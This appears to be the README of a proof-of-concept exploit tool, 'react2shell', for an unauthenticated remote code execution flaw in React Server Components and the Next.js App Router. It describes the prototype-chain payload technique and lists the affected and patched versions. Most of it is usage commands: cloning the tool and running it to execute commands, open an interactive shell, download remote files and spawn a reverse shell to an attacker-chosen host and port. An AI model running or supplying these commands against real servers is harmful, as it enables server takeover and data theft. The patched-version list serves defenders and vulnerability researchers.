
react2shell - CVE-2025-55182 (Next.js: CVE-2025-66478) - Unauthenticated RCE in React Server Components (Flight Protocol) - PoC Exploit

CVE-2025-55182 (Next.js: CVE-2025-66478)
बिना प्रमाणीकरण के React सर्वर कंपोनेंट्स (फ्लाइट प्रोटोकॉल) में दूरस्थ कोड निष्पादन - PoC एक्सप्लॉइट
React सर्वर कंपोनेंट्स (फ्लाइट प्रोटोकॉल) बिना प्रोटोटाइप-चेन एक्सेस की जाँच के multipart/form-data को डिसीरियलाइज़ करते हैं। एक एकल बिना प्रमाणीकृत POST जिसमें Next-Action हेडर है, एक निर्मित रेफरेंस चेन ($1:__proto__:then + $1:constructor:constructor) के माध्यम से Function कंस्ट्रक्टर तक पहुँचता है, जिसके परिणामस्वरूप सर्वर पर दूरस्थ कोड निष्पादन होता है।
react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 और डाउनस्ट्रीम उपभोक्ताओं (जिसमें Next.js ऐप राउटर (14.3.0-canary.77+, 15.x, 16.x) शामिल है) को प्रभावित करता है। डिफ़ॉल्ट create-next-app प्रोजेक्ट असुरक्षित हैं।
git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <target>
python3 react2shell.py exec -t <target> -c '<command>'
python3 react2shell.py shell -t <target>
python3 react2shell.py file -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
मूल खुलासा: Lachlan Davidson (@lachlan2k)